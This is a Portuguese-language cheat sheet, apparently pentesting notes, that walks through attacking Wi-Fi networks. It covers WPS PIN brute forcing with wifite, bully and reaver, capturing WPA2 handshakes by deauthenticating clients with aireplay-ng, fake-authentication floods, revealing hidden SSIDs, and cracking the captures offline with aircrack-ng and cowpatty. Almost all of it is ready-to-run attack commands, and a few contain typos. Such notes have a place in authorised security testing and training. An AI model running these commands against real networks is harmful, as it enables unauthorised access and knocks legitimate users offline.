# WI-FI

### Quebrando WPA2 pelo PIN

**Wifite**\
Wifite trabalha de forma automatizada, utilizando outras ferramentas como `aircrack`, `bully` e `reaver`.

```bash
sudo wifite --wps --wps-only
```

**OBS.:** Caso não consiga quebrar algum senha, adicione o parâmetro `--bully`.

Todas as senhas quebradas serão adicionadas no arquivo `cracked.txt` (que tem um conteúdo em json), localizada no mesmo diretório onde foi executado o wifite. Caso não exista esse arquivo, ele será criado automaticamente e caso já exista, ele adiciona a senha.

**Bully**

```bash
bully wlan0mon -b <bssid> -e <ssid> -c <channel>
```

### AirCrack

#### Quebrando WPA-2

Primeiro vamos habilitar a placa de rede no Modo Promíscuo, ou seja, irá ficar escutando todo o tráfego.\
Irá ser gerada uma Interface de Rede, por exemplo, se estive utiizando a interface `wlan0`, será geraro uma interface chamada `wlan0man`.

```bash
sudo airmon-ng start <interface>
```

**OBS.:** Caso dê erro, digite `sudo airmon-ng check kill` e depois execute o comando acima novamente.

Exibindo as redes disponíveis (canto superior) e o hosts conectados a essas redes na parte inferior

```bash
sudo airodump-ng <interface_gerada>
```

**EXPLICAÇÃO**

| CÓDIGO   | DESCRIÇÃO                                                                                                                                                                                                          |
| -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `PWR`    | É o sinal de força. Quanto maior (mais próximo de 0) a força, mais forte é o sinal                                                                                                                                 |
| `Beacon` | É como um pacote que o AP envia periodicamente. O Beacon contém informações sobre a rede. Ele contém o SSID, carimbo de data e hora, intervalo de beacons                                                          |
| `#Data`  | O número de pacotes de dados que foram enviados                                                                                                                                                                    |
| `#/s`    | Número de pacotes de dados por segundo                                                                                                                                                                             |
| `CH`     | Canal                                                                                                                                                                                                              |
| `MB`     | Velocidade máxima que o AP pode suportar                                                                                                                                                                           |
| `ENC`    | Tipo de criptografia                                                                                                                                                                                               |
| `CIPHER` | Um desses: CCMP, WRAP, TKIP, WEP, WEP40 ou WEP104. Não é obrigatório, mas o TKIP é normalmente usado com WPA e o CCMP é normalmente usado com WPA2                                                                 |
| `PSK`    | O protocolo de autenticação usado. Um dos MGT (WPA / WPA2 usando um servidor de autenticação separado), SKA (chave compartilhada para WEP), PSK (chave pré-compartilhada para WPA / WPA2) ou OPN (aberto para WEP) |
| `ESSID`  | Nome da rede                                                                                                                                                                                                       |

Vamos verificar agora as redes e os dispositivos que estão conectados a eles:

```bash
sudo airodump-ng --channel <canal_da_rede> --bssid <mac_address_do_AP> --write <nome_do_arquivo_de_saida> <interface_gerada>
```

**OBS.:** `--channel` é o mesmo que `-c`, e `--write`é o mesmo que `-w`.

Agora vamos derrubar uma sessão já ativa, para assim que o host tentar se conectar ao AP, capturarmos o Handshake de 4 vias

```bash
sudo aireplay-ng -b <mac_address_do_AP> -h <mac_address_do_host_conectado> <interface_gerada>
# Ou
sudo aireplay-ng --deauth 1 -a <mac_address_do_AP> --ignore-negative-one <interface_gerada>
# Ou
sudo airereplay-ng --deauth 2 -1 <bssid> -c <mac_host_conenctado}> <interface_gerada>
```

**EXPLICAÇÃO**\
O `-1` realiza ataque de desautenticação (deauth) e o `2` é a quantidade de segundos que vai utilizar pra fazer a reassociação. Derrubar uma sessão já ativa e assim que o host tentar se conectar ao AP novamente, pegarmos o SSID oculto em que está conectado.\
Isso é utilizado tanto em WEP quanto em WPA. Esse método de desautenticação é muito agressivo, enviando um total de 128 quadros para cada desautenticação definida (64 para o AP e 64 para o cliente do AP).

Volte para o outro terminal e verifique se no canto superior direito está escrito: `handshake <mac_address_do_AP>`.\
Caso esteja, pode cancelar todos os terminais, pois agora é hora de usar um Brute Force Offline.

```bash
aircrack-ng -a 2 -w <wordlist.txt> <arquivos_salvo.cap>
```

Caso não esteja conseguindo coletar os dados para salvar no arquivo `.cap`, utilize um ataque de Falsa Autenticação.\
Nesse exemplo enviamos um atraso igual a 1000 (fakeauth) e enviar mensagens de autenticação a cada 10 segundos (`-q 10`)

```bash
sudo airereplay-ng --fakeauth 1000 -q 10 -a <bssid> -h <mac_cliente_ap> <interface_gerada>
```

#### Descobrindo SSID Oculto

```bash
sudo airodump-ng <interface>
```

Localize o BSSID (MAC Address do AP), o channel da rede oculta que deseja saber o SSID e pressione `CTRL` + `C` para parar o scan de redes.\
Bem provável que o SSID esteja mostrando vazio ou algo do tipo `<length: 16>`.

Agora execute:

```bash
sudo airodump-ng --bssid <bssid> --channel <canal> <interface>
```

Abra outro terminal e digite:

```bash
sudo aireplay-ng --deauth 1000 -a <bssid> --ignore-negative-one <interface>
```

Agora volte para o outro terminal e veja que o nome SSID irá ser mostrado

**OBS.:** Depois de pegar o Handshake, podemos realizar o ataque de Brute Force (Offline).

### CowPatty

#### Quebrando WPA

```bash
# Caso utilize um wordlist no lugar da tabela rainbow, utilize o seguinte parâmetro: -f {wordlist.txt}
cowpatty -s <ssid> -r <arquivo.cap> -d <tabela_rainbow>
```

{% hint style="info" %}
**NOTA**: Verifique na seção *Gerando Wordlists*, a ferramenta **`Genpmk`**, que também pode ser utilizada pra quebrar senhas wiifi.
{% endhint %}

### Reaver

#### Instalando

```bash
sudo aptitude install reaver
```

#### Quebrando WPA / WPA2

```bash
sudo airmon-ng start wlan0
sudo airodump-ng wlan0mon
```

Agora em outro terminal, digite:

```bash
sudo reaver -i wlan0mon -c <channel> --bssid <bssid> -vv
```

**OBS:** `--bssid` pode ser substituído por `-b`\
Caso apareça umas mensagens de `WARNING timeout`, acrescente o parâmetro `-L` no final

#### Quebrando WPS

```bash
# Brute Force para tentar descobrir o PIN (pode demorar horas)
reaver -i wlan0mon -b <bssid> -v

# Quando já se sabe o PIN. Demora cerca de alguns minutos
reaver -i wlan0mon -b <bssid> -p <pin> -v
```

### Scaneando Redes Wifi disponíveis

```bash
sudo iwlist <interface_rede> scan
# Ou
sudo iwlist <interface_rede> scanning
```

### l2ping

Verificando dispositivo bluetooth ativo

```bash
l2ping <mac_address>
```
